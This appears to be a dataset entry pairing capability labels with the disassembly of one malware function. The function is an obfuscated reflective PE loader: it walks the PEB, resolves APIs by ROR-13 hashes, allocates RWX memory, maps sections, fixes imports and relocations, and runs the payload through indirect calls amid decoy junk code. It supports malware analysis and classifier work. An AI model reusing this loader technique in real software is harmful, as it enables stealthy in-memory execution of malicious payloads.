Function at 0x180004244
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Identify system language via api
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x108
movaps xmmword [r11 - 0x58], xmm6
mov r12, rcx
movaps xmmword [r11 - 0x68], xmm7
movaps xmmword [r11 - 0x78], xmm8
movaps xmmword [r11 - 0x88], xmm9
movaps xmmword [r11 - 0x98], xmm10
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm15
rdtscp
shl rdx, 0x20
lea r8, [r11 + 0x10]
or rax, rdx
mov dword [r8], ecx
mov r9d, 0x989680
cmp rax, r9
jbe 0x1800042bb
mov ebp, 0x9b70e31
jmp 0x1800042de
rdtscp
shl rdx, 0x20
lea r8, [rsp + 0x158]
or rax, rdx
mov dword [r8], ecx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov rbp, rax
rdtscp
shl rdx, 0x20
lea r8, [rsp + 0x158]
or rax, rdx
mov dword [r8], ecx
mov ecx, eax
movabs rax, 0x58ed2308158ed231
imul r8, rcx, 0xd7ba
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea r14d, [r8 + 3]
mov dword [rsp + 0x160], r14d
movsd xmm0, qword [0x180030ee8]
xor edi, edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], rdi
call fcn.1800040fc
movaps xmm6, xmm0
xorps xmm15, xmm15
xorps xmm0, xmm0
call fcn.1800040fc
movsd xmm9, qword [0x180030c88]
movaps xmm8, xmm0
movsd xmm7, qword [0x180030cb0]
addsd xmm8, xmm6
mov r12, qword [r12]
mov qword [rsp + 0x168], r12
mulsd xmm8, xmm9
divsd xmm8, xmm7
cmp ebp, r14d
jle 0x1800043f3
movsd xmm0, qword [0x180030ee8]
call fcn.1800040fc
movaps xmm6, xmm0
movaps xmm0, xmm15
call fcn.1800040fc
movaps xmm8, xmm0
mov eax, 0x5a4d
addsd xmm8, xmm6
mulsd xmm8, xmm9
divsd xmm8, xmm7
cmp word [r12], ax
jne 0x1800043e6
movsxd rcx, dword [r12 + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x1800043e6
cmp dword [rcx + r12], 0x4550
je 0x1800043eb
dec r12
jmp 0x180004393
mov qword [rsp + 0x168], r12
mov rax, qword gs:[0x60]
mov ebx, ebp
movsd xmm13, qword [0x180030ca0]
mov rsi, qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov r15, qword [rsi + 0x20]
mov qword [rsp + 0x40], r15
test r15, r15
je 0x180004847
movss xmm9, dword [0x180030f68]
mov eax, ebp
cdq
sub eax, edx
sar eax, 1
cmp eax, r14d
jl 0x1800049bf
movzx ecx, word [r15 + 0x48]
mov eax, 8
mov r13, qword [r15 + 0x50]
mov r12, rdi
mov qword [rsp + 0x28], rcx
inc rcx
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180009454
mov r8, qword [rsp + 0x28]
mov word [rsp + 0x158], r8w
movzx edi, r8w
test r8w, r8w
je 0x18000462e
xor esi, esi
cmp ebp, r14d
je 0x18000449d
mov ecx, r12d
call fcn.180005458
mov r12d, eax
jmp 0x1800045e0
cmp ebx, 0x64
je 0x1800044da
call qword [sym.imp.USER32.dll_GetClipboardViewer]
movaps xmm0, xmm9
call fcn.180002f30
movsx ecx, al
mov eax, 0xee0
cdq
idiv ecx
movd xmm1, eax
lea eax, [rcx + 0xee0]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
subsd xmm1, xmm0
cvttsd2si ebx, xmm1
cmp ebx, 0x7c
jle 0x1800044e7
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
jmp 0x1800044ed
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, 0x79
mov r14d, eax
mov r15d, eax
lea ecx, [rax - 0x64]
mov ebx, ecx
mov edi, ecx
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
mov rax, rbx
imul edi, r15d
cqo
idiv r14
movsxd r8, edi
imul rbx, r8
mov ecx, eax
mov r14, rax
imul ecx, r8d
mov r15d, eax
mov edi, ebx
add ecx, ebx
cmp ecx, 0x63
je 0x1800044ff
cmp ecx, 0x70
jle 0x18000455b
movss xmm0, dword [0x180030f2c]
call fcn.180002ce8
addss xmm0, dword [0x180030ff0]
cvttss2si eax, xmm0
movsx ecx, al
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
addss xmm1, xmm0
jmp 0x180004588
xor eax, eax
xorps xmm1, xmm1
cdq
idiv esi
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
mulss xmm0, dword [0x180030c50]
cvttss2si eax, xmm0
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
cvttss2si eax, xmm1
cmp eax, 0x62
je 0x1800045a6
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movaps xmm0, xmm13
divsd xmm0, xmm15
cvttsd2si ebx, xmm0
jmp 0x1800045d0
call qword [sym.imp.USER32.dll_CreateMenu]
movaps xmm0, xmm9
call fcn.180002eac
movsd xmm1, qword [0x180030d10]
movsx ecx, al
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si ebx, xmm1
mov r14d, dword [rsp + 0x160]
movzx edi, word [rsp + 0x158]
cmp ebp, r14d
jle 0x1800045f8
cmp byte [r13], 0x61
movzx eax, byte [r13]
jb 0x1800045f5
add r12, 0xffffffffffffffe0
add r12, rax
lea eax, [rbp*2]
cmp eax, r14d
cmovl ebp, r14d
inc r13
mov eax, 0xffff
add di, ax
mov word [rsp + 0x158], di
jne 0x180004488
mov rsi, qword [rsp + 0x38]
mov r8, qword [rsp + 0x28]
mov r15, qword [rsp + 0x40]
cmp r12d, 0x6a4abc5b
jne 0x180004812
cmp ebp, r14d
jle 0x180004670
mov rsi, qword [r15 + 0x20]
mov r8d, 3
mov qword [rsp + 0x28], r8
movsxd rax, dword [rsi + 0x3c]
mov r15d, dword [rax + rsi + 0x88]
add r15, rsi
mov r13d, dword [r15 + 0x20]
mov r12d, dword [r15 + 0x24]
add r13, rsi
add r12, rsi
xor edi, edi
jmp 0x18000469f
mov r15, qword [rsp + 0x70]
xor edi, edi
mov r13, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r12
test r8w, r8w
je 0x180004814
mov ecx, dword [r13]
cmp ebp, r14d
cmovle ebp, r14d
add rcx, rsi
mov al, byte [rcx]
inc rcx
ror edi, 0xd
movsx eax, al
add edi, eax
mov al, byte [rcx]
test al, al
jne 0x1800046af
cmp edi, 0xec0e4e8e
je 0x1800046dc
cmp edi, 0x7c0dfcaa
je 0x1800046dc
cmp edi, 0x91afca54
jne 0x1800047e1
cmp ebp, r14d
jl 0x1800046f8
mov eax, dword [r15 + 0x1c]
movzx ecx, word [r12]
add rax, rsi
lea rcx, [rax + rcx*4]
mov qword [rsp + 0x58], rcx
jmp 0x18000471b
cmp ebx, 0x47
jle 0x1800049bd
cmp ebx, 0x63
jle 0x180004716
movsd xmm0, qword [0x180030e10]
call fcn.180002dc0
mov rbx, rax
mov rcx, qword [rsp + 0x58]
cmp edi, 0xec0e4e8e
jne 0x1800047a8
mov eax, ebp
cdq
sub eax, edx
sar eax, 1
cmp eax, r14d
jl 0x180004742
mov eax, dword [rcx]
add rax, rsi
mov qword [rsp + 0x48], rax
jmp 0x1800047ce
movss xmm6, dword [0x180030f6c]
cmp ebx, 0x7e
jle 0x18000478c
movss xmm7, dword [0x180030fd0]
call qword [sym.imp.ole32.dll_CoUninitialize]
movaps xmm0, xmm6
mulss xmm0, xmm6
movaps xmm6, xmm0
movaps xmm0, xmm7
call fcn.180002ce8
cvttss2si rax, xmm0
xorps xmm7, xmm7
cvtsi2ss xmm7, rax
movaps xmm1, xmm7
mulss xmm1, xmm6
cvttss2si eax, xmm1
cmp eax, 0x7e
jg 0x180004757
mov dword [rsp + 0x158], 0x428e0000
mov eax, 0x3b
imul eax, eax
mov ebx, eax
cmp eax, 0x57
jge 0x18000479c
jmp 0x1800047ce
cmp edi, 0x7c0dfcaa
jne 0x1800047bc
mov eax, dword [rcx]
add rax, rsi
mov qword [rsp + 0x50], rax
jmp 0x1800047ce
cmp edi, 0x91afca54
jne 0x1800047ce
mov eax, dword [rcx]
add rax, rsi
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x28]
mov eax, 0xffff
add r8w, ax
mov qword [rsp + 0x28], r8
cmp ebp, r14d
cmovl ebp, r14d
add r13, 4
add r12, 2
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r12
xor edi, edi
test r8w, r8w
jne 0x18000469f
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x70], r15
jmp 0x180004814
xor edi, edi
cmp qword [rsp + 0x48], rdi
je 0x180004829
cmp qword [rsp + 0x50], rdi
je 0x180004829
cmp qword [rsp + 0x30], rdi
jne 0x18000483f
mov r15, qword [rsp + 0x40]
mov r15, qword [r15]
mov qword [rsp + 0x40], r15
test r15, r15
jne 0x18000442b
mov r12, qword [rsp + 0x168]
movsd xmm9, qword [0x180030c98]
mov edi, 1
movsd xmm7, qword [0x180030c80]
movaps xmm0, xmm13
movsd xmm10, qword [0x180030f08]
subsd xmm0, xmm9
mulsd xmm0, qword [0x180030c88]
addsd xmm0, xmm15
call fcn.1800040fc
mulsd xmm0, xmm7
inc edi
addsd xmm8, xmm0
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm10, xmm0
jae 0x18000486a
movsxd r13, dword [r12 + 0x3c]
lea r15d, [rbp + 4]
add r13, r12
xor ecx, ecx
mov r8d, 0x3000
mov qword [rsp + 0x30], r13
mov edx, dword [r13 + 0x50]
lea r9d, [rcx + 0x40]
mov edi, dword [r13 + 0x54]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rdi, rdi
je 0x180004921
mov rsi, qword [rsp + 0x168]
mov r12, rax
mov eax, dword [rsp + 0x160]
sub r12, rsi
xor ecx, ecx
dec rdi
cmp ebp, eax
jle 0x180004914
movsd xmm0, qword [0x180030c78]
call fcn.1800040fc
mov al, byte [rsi]
mov byte [r12 + rsi], al
inc rsi
mov eax, dword [rsp + 0x160]
xor ecx, ecx
mulsd xmm0, xmm7
addsd xmm8, xmm0
test rdi, rdi
jne 0x1800048e5
mov r12, qword [rsp + 0x168]
movsd xmm12, qword [0x180030f00]
dec rdi
mov esi, 1
movaps xmm0, xmm13
mulsd xmm0, qword [0x180030c88]
addsd xmm0, xmm15
call fcn.1800040fc
mulsd xmm0, qword [0x180030c70]
inc esi
addsd xmm8, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm12, xmm0
jae 0x180004936
cmp ebp, dword [rsp + 0x160]
je 0x180004aa9
movsd xmm0, qword [0x180030ee8]
call fcn.1800040fc
movaps xmm6, xmm0
movaps xmm0, xmm15
call fcn.1800040fc
movzx eax, word [r13 + 0x14]
lea rdi, [r13 + 0x18]
movzx r9d, word [r13 + 6]
movaps xmm8, xmm0
addsd xmm8, xmm6
add rdi, rax
mulsd xmm8, qword [0x180030c88]
divsd xmm8, qword [0x180030cb8]
jmp 0x180004aa2
jmp 0x1800049bd
mov edi, 0x2b
movss xmm7, dword [0x180030ee0]
cmp ebx, 0x7f
jg 0x180004a1d
divss xmm7, xmm7
cvttss2si ebx, xmm7
movd xmm6, ebx
cvtdq2ps xmm6, xmm6
movaps xmm0, xmm6
call fcn.180002eac
movd xmm0, ebx
movsx ecx, al
cvtdq2pd xmm0, xmm0
movd xmm7, ecx
cvtdq2ps xmm7, xmm7
call fcn.180002dc0
movsx eax, al
movaps xmm1, xmm7
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm1, xmm0
addss xmm1, xmm6
cvttss2si eax, xmm1
cmp eax, 0x7f
jle 0x1800049d1
mov ebx, 0x51
call qword [sym.imp.USER32.dll_CreateMenu]
imul rbx, rbx
cmp ebx, 0x27
jl 0x180004a22
mov sil, dil
mov eax, 0x5d
sub sil, al
movsx ebx, sil
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.180002dc0
imul ebx, eax
cmp ebx, 0x6f
je 0x180004a39
cmp ebx, 0x73
jle 0x1800049c4
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ebx, 0xfffffdb0
jmp 0x1800049c4
mov ecx, dword [rdi + 0xc]
dec r9
mov edx, dword [rdi + 0x14]
add rcx, r14
mov r8d, dword [rdi + 0x10]
add rdx, r12
test r8, r8
je 0x180004a96
mov al, byte [rdx]
inc rdx
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x180004a86
dec r8
mov qword [rsp + 0x20], r8
add rdi, 0x28
test r9, r9
jne 0x180004a6e
jmp 0x180004b05
cmp ebx, 0xffffff9e
jbe 0x180004b00
call qword [sym.imp.USER32.dll_CountClipboardFormats]
movss xmm0, dword [0x180030fa0]
call fcn.180002eac
movss xmm0, dword [0x180030f88]
movsx rbx, al
call fcn.180002eac
movsx r8d, al
lea eax, [rbx + 0x56]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
imul r8d, eax
cmp r8d, 0xffffff80
jne 0x180004b00
movss xmm0, dword [0x180030f80]
call fcn.180002eac
movsx ebx, al
jmp 0x180004b05
mov ebx, 0x1729
mov esi, 1
movaps xmm0, xmm13
subsd xmm0, xmm9
mulsd xmm0, qword [0x180030c88]
addsd xmm0, xmm15
call fcn.1800040fc
mulsd xmm0, xmm7
inc esi
addsd xmm8, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm10, xmm0
jae 0x180004b0e
mov ecx, dword [rsp + 0x160]
cmp ebp, ecx
jge 0x180004c61
cmp ebx, 0x15
jge 0x180004b6d
call qword [sym.imp.KERNEL32.dll_GetACP]
movss xmm0, dword [0x180030f64]
call fcn.180002ce8
cvttss2si rax, xmm0
jmp 0x180004b86
call qword [sym.imp.USER32.dll_GetFocus]
movss xmm0, dword [0x180030c90]
call fcn.180002ce8
cvttss2si eax, xmm0
inc eax
cmp eax, 0x26
jle 0x180004b96
movaps xmm0, xmm15
divsd xmm0, xmm15
jmp 0x180004bb7
movss xmm0, dword [0x180030f5c]
call fcn.180002ce8
cvttss2si eax, xmm0
movsx ecx, al
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm15
cvttsd2si eax, xmm0
cmp eax, 0x1b
jne 0x180004bc8
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
jmp 0x180004bce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movss xmm2, dword [0x180030ef8]
movsd xmm7, qword [0x180030df0]
movss xmm1, dword [0x180030f90]
addss xmm1, xmm2
movaps xmm0, xmm7
cvttss2si ebx, xmm1
call fcn.180002dc0
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
cvtps2pd xmm7, xmm6
movaps xmm0, xmm7
call fcn.180002dc0
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
movsx eax, bl
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm6, xmm2
subss xmm6, xmm1
cvttss2si eax, xmm6
cmp eax, 0x1f
jne 0x180004be6
movsd xmm1, qword [0x180030d20]
movsd xmm0, qword [0x180030d78]
cvttsd2si eax, xmm0
movsx eax, al
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
subsd xmm0, xmm1
cvttsd2si ebx, xmm0
cmp ebx, 0x14
jge 0x180004c3c
jmp 0x180004b4e
lea r12, [r13 + 0x90]
xor r10d, r10d
mov eax, dword [r12]
mov qword [rsp + 0x158], r12
lea rsi, [r14 + rax]
cmp dword [rsi + 0xc], r10d
je 0x18000504d
test eax, eax
je 0x18000504d
cmp ebp, ecx
jle 0x180004cc1
mov ecx, dword [rsi + 0xc]
add rcx, r14
call qword [rsp + 0x48]
mov r9d, dword [rsi]
mov r8, rax
mov edi, dword [rsi + 0x10]
add r9, r14
mov ecx, dword [rsp + 0x160]
add rdi, r14
xor r10d, r10d
mov qword [rsp + 0x168], rax
jmp 0x180004ea2
mov r8, qword [rsp + 0x168]
mov r9, qword [rsp + 0x20]
jmp 0x180004ea7
test r9, r9
je 0x180004d0b
cmp qword [r9], r10
jge 0x180004d0b
movsxd rax, dword [r8 + 0x3c]
movzx edx, word [r9]
mov ecx, dword [rax + r8 + 0x88]
mov eax, dword [rcx + r8 + 0x10]
mov ecx, dword [rcx + r8 + 0x1c]
sub rdx, rax
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [rdi], rax
jmp 0x180004e82
lea eax, [rbp*2]
cmp eax, ecx
jl 0x180004d48
mov r12, qword [rdi]
mov rcx, r8
add r12, r14
mov qword [rsp + 0x158], r12
lea rdx, [r12 + 2]
call qword [rsp + 0x50]
mov r8, qword [rsp + 0x168]
xor r10d, r10d
mov r9, qword [rsp + 0x20]
mov qword [rdi], rax
jmp 0x180004e8a
cmp ebx, 0x58
jg 0x180004d9a
movss xmm0, dword [0x180030f30]
call fcn.180002ce8
cvttss2si eax, xmm0
xorps xmm0, xmm0
movsxd rcx, eax
movd xmm2, eax
movabs rax, 0x2c0b02c0b02c0b03
imul rcx
cvtdq2pd xmm2, xmm2
sar rdx, 4
mov rax, rdx
divsd xmm2, qword [0x180030eb0]
shr rax, 0x3f
add rdx, rax
cvtsi2sd xmm0, rdx
subsd xmm2, xmm0
jmp 0x180004dc8
call qword [sym.imp.USER32.dll_GetFocus]
movss xmm0, dword [0x180030f9c]
call fcn.180002ce8
movsd xmm2, qword [0x180030eb8]
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
divsd xmm2, xmm1
divsd xmm2, qword [0x180030d18]
movsd xmm7, qword [0x180030d08]
mov r12d, 0x70
cvttsd2si eax, xmm2
cmp eax, 0x1a
je 0x180004e37
movsd xmm6, qword [0x180030e40]
movd xmm0, r12d
cvtdq2ps xmm0, xmm0
call fcn.180002eac
cvtpd2ps xmm0, xmm7
movsx rbx, al
subsd xmm6, xmm7
cvttsd2si r12d, xmm6
call fcn.180002f30
movd xmm6, r12d
xorps xmm0, xmm0
movd xmm7, eax
cvtdq2pd xmm7, xmm7
cvtdq2pd xmm6, xmm6
movaps xmm1, xmm7
cvtsi2sd xmm0, rbx
mulsd xmm1, xmm6
addsd xmm1, xmm0
cvttsd2si eax, xmm1
cmp eax, 0x1a
jne 0x180004de7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movss xmm0, dword [0x180030f20]
call fcn.180002ce8
cvttss2si eax, xmm0
movsx ebx, al
cmp ebx, 0x35
je 0x180004e72
mov r8b, 0x15
mov al, r8b
add al, al
sub r8b, al
movsx eax, al
cdq
movsx ecx, r8b
idiv ecx
mov ebx, eax
cmp eax, 0x35
jne 0x180004e59
mov r9, qword [rsp + 0x20]
xor r10d, r10d
mov r8, qword [rsp + 0x168]
mov r12, qword [rsp + 0x158]
mov ecx, dword [rsp + 0x160]
cmp ebp, ecx
jle 0x180004ed6
add rdi, 8
test r9, r9
je 0x180004ea7
add r9, 8
mov qword [rsp + 0x20], r9
cmp qword [rdi], r10
jne 0x180004cd3
lea eax, [rbp*2]
cmp eax, ecx
jl 0x180004f6d
add rsi, 0x14
cmp dword [rsi + 0xc], r10d
je 0x18000504d
mov eax, dword [r12]
jmp 0x180004c85
cmp ebx, 0x13
jge 0x180004ef0
call qword [sym.imp.USER32.dll_CreateMenu]
xorps xmm0, xmm0
call fcn.180002eac
movsx eax, al
neg eax
jmp 0x180004f0b
movss xmm0, dword [0x180031008]
call fcn.180002eac
movsx rcx, al
mov eax, 0x23c
cqo
idiv rcx
movsd xmm7, qword [0x180030d20]
cmp eax, 0x1b
jl 0x180004f5d
movsd xmm8, qword [0x180030d50]
movaps xmm0, xmm7
call fcn.180002dc0
movsx eax, al
addsd xmm7, xmm8
movd xmm6, eax
cvtdq2pd xmm6, xmm6
movaps xmm0, xmm6
call fcn.180002dc0
divsd xmm6, xmm7
movd xmm8, eax
cvtdq2pd xmm8, xmm8
divsd xmm6, xmm8
cvttsd2si eax, xmm6
cmp eax, 0x1b
jge 0x180004f21
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov ebx, 0xbdb
jmp 0x180004ed6
movss xmm2, dword [0x180030f40]
mov eax, 0x56
imul eax, eax
movaps xmm0, xmm2
addss xmm0, xmm2
movaps xmm2, xmm0
movaps xmm1, xmm2
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
cvttss2si eax, xmm1
movsx eax, al
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
cvttss2si ecx, xmm1
cmp ecx, 4
jl 0x180004f7a
jne 0x180004fcf
call qword [sym.imp.USER32.dll_CountClipboardFormats]
movsd xmm0, qword [0x180030e60]
call fcn.180002dc0
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
jmp 0x180004fe2
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
movss xmm0, dword [0x180030fd0]
call fcn.180002ce8
mov esi, 0x47
cvttss2si eax, xmm0
lea edi, [rsi + 0x33]
jmp 0x18000502d
xorps xmm0, xmm0
cvtsi2ss xmm0, rsi
call fcn.180002eac
movd xmm0, edi
cvtdq2pd xmm0, xmm0
movsx rbx, al
call fcn.180002dc0
movd xmm0, edi
mov rsi, rax
cvtdq2ps xmm0, xmm0
call fcn.180002eac
movsx rdi, al
mov rax, rbx
imul rax, rsi
cqo
idiv rdi
cmp eax, 4
je 0x180004ff0
cmp eax, 2
jge 0x180004f6d
movsd xmm0, qword [0x180030ff8]
call fcn.180002dc0
jmp 0x180004f6d
mov r12d, 1
movaps xmm0, xmm13
mov edi, r12d
mulsd xmm0, qword [0x180030c88]
addsd xmm0, xmm15
call fcn.1800040fc
mulsd xmm0, qword [0x180030c70]
add edi, r12d
addsd xmm8, xmm0
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm12, xmm0
jae 0x18000505a
mov eax, dword [rsp + 0x160]
cmp ebp, eax
jg 0x18000510a
movsd xmm7, qword [0x180030ce0]
mov edi, 0x2b
cmp ebx, 0x30
jne 0x180005102
movsd xmm8, qword [0x180030d30]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
mulsd xmm7, xmm8
cvtsi2ss xmm0, rdi
cvtpd2ps xmm6, xmm7
call fcn.180002eac
movsx ecx, al
xorps xmm7, xmm7
cvtsi2sd xmm7, ecx
cvtps2pd xmm1, xmm6
movaps xmm0, xmm7
mulsd xmm0, xmm8
xorps xmm8, xmm8
divsd xmm1, xmm7
cvttsd2si rdi, xmm0
cvtsi2sd xmm8, rdi
divsd xmm1, xmm8
cvttsd2si eax, xmm1
cmp eax, 0x30
je 0x1800050b1
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x180005102
mov rdi, r14
xor ecx, ecx
sub rdi, qword [r13 + 0x30]
cmp dword [r13 + 0xb4], ecx
je 0x180005318
movsd xmm10, qword [0x180030e88]
movsd xmm9, qword [0x180030e18]
cmp r15d, eax
jg 0x18000526b
cmp ebx, 0x19
je 0x180005148
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
jmp 0x1800051bd
movss xmm0, dword [0x180030f38]
call fcn.180002ce8
cvttss2si eax, xmm0
cmp eax, 0x68
jg 0x1800051bd
call qword [sym.imp.USER32.dll_GetDesktopWindow]
movss xmm0, dword [0x180030fa4]
call fcn.180002eac
movsx ecx, al
movd xmm7, ecx
cvtdq2ps xmm7, xmm7
movaps xmm0, xmm7
call fcn.180002eac
movsx ecx, al
movaps xmm0, xmm7
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
call fcn.180002eac
movsx ecx, al
subss xmm7, xmm6
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm0, xmm7
cvttss2si eax, xmm0
cmp eax, 0x2f
jl 0x1800051bd
movss xmm0, dword [0x180030f64]
call fcn.180002eac
movss xmm7, dword [0x180030f3c]
call qword [sym.imp.USER32.dll_IsWow64Message]
cvtps2pd xmm0, xmm7
movaps xmm6, xmm7
addss xmm6, xmm7
call fcn.180002dc0
xorps xmm7, xmm7
cvtsi2ss xmm7, rax
divss xmm6, xmm7
cvttss2si eax, xmm6
cmp eax, 0x44
je 0x1800051c5
cmp eax, 0x2f
jge 0x180005228
movss xmm0, dword [0x180030f5c]
call fcn.180002ce8
xorps xmm2, xmm2
cvtss2sd xmm2, xmm0
xorps xmm0, xmm0
movaps xmm1, xmm2
mulsd xmm2, xmm10
subsd xmm1, xmm10
cvttsd2si rax, xmm1
cvtsi2sd xmm0, rax
addsd xmm0, xmm2
jmp 0x18000524d
movaps xmm0, xmm9
call fcn.180002dc0
movss xmm1, dword [0x180030c90]
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
divss xmm1, xmm0
cvtps2pd xmm0, xmm1
addsd xmm0, xmm9
mov eax, dword [rsp + 0x160]
mov r12d, 1
add ebp, r12d
cvttsd2si ebx, xmm0
cmp ebp, eax
jg 0x180005132
jmp 0x18000527b
mov esi, dword [r13 + 0xb0]
mov r12d, 1
add rsi, r14
mov eax, dword [rsi + 4]
xor ebp, ebp
test eax, eax
je 0x18000531a
mov r10d, 0xfff
lea r13d, [rbp + 2]
lea r11d, [rbp + 3]
mov edx, dword [rsi]
lea r9, [rsi + 8]
mov r8d, eax
add rdx, r14
sub r8, 8
shr r8, 1
je 0x180005301
movzx ecx, word [r9]
sub r8, r12
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x1800052c8
and rcx, r10
add qword [rcx + rdx], rdi
jmp 0x1800052f9
cmp ax, r11w
jne 0x1800052d6
and rcx, r10
add dword [rcx + rdx], edi
jmp 0x1800052f9
cmp ax, r12w
jne 0x1800052ec
and rcx, r10
mov rax, rdi
shr rax, 0x10
add word [rcx + rdx], ax
jmp 0x1800052f9
cmp ax, r13w
jne 0x1800052f9
and rcx, r10
add word [rcx + rdx], di
add r9, r13
test r8, r8
jne 0x1800052ab
mov eax, dword [rsi + 4]
add rax, rsi
mov rsi, rax
mov eax, dword [rax + 4]
test eax, eax
jne 0x180005296
mov r13, qword [rsp + 0x30]
jmp 0x18000531a
xor ebp, ebp
mov ebx, r12d
mulsd xmm13, qword [0x180030c88]
addsd xmm13, xmm15
movaps xmm0, xmm13
call fcn.1800040fc
mulsd xmm0, qword [0x180030c70]
add ebx, r12d
movd xmm13, ebx
cvtdq2pd xmm13, xmm13
addsd xmm8, xmm0
comisd xmm12, xmm13
jae 0x18000531d
mov rsi, qword [rsp + 0x150]
mov rcx, r14
mov ebx, dword [r13 + 0x28]
add rbx, r14
cmp byte [rsi + 8], bpl
jne 0x1800053d8
mov rdx, qword [rsi + 0x10]
call fcn.180004154
mov rdi, rax
test rax, rax
je 0x1800053e0
cmp byte [rsi + 0x3c], bpl
je 0x1800053b7
mov r8, qword [rsi + 0x40]
test r8, r8
je 0x1800053b7
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x1800053ac
cmp qword [rcx + 0x20], r8
je 0x1800053b3
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x1800053a3
jmp 0x1800053b7
mov qword [rcx + 0x20], r14
xor r8d, r8d
mov edx, r12d
mov rcx, r14
call rbx
mov r9d, dword [rsi + 0x38]
mov r8, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x20]
call rdi
cdqe
jmp 0x180005415
xor r8d, r8d
mov edx, r12d
call rbx
movsd xmm0, qword [0x180030fe8]
xor ecx, ecx
comisd xmm8, xmm0
jb 0x18000540a
subsd xmm8, xmm0
comisd xmm8, xmm0
jae 0x18000540a
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm8
add rax, rcx
add rax, rbx
lea r11, [rsp + 0x108]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm12, xmmword [r11 - 0x68]
movaps xmm13, xmmword [r11 - 0x78]
movaps xmm15, xmmword [r11 - 0x88]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret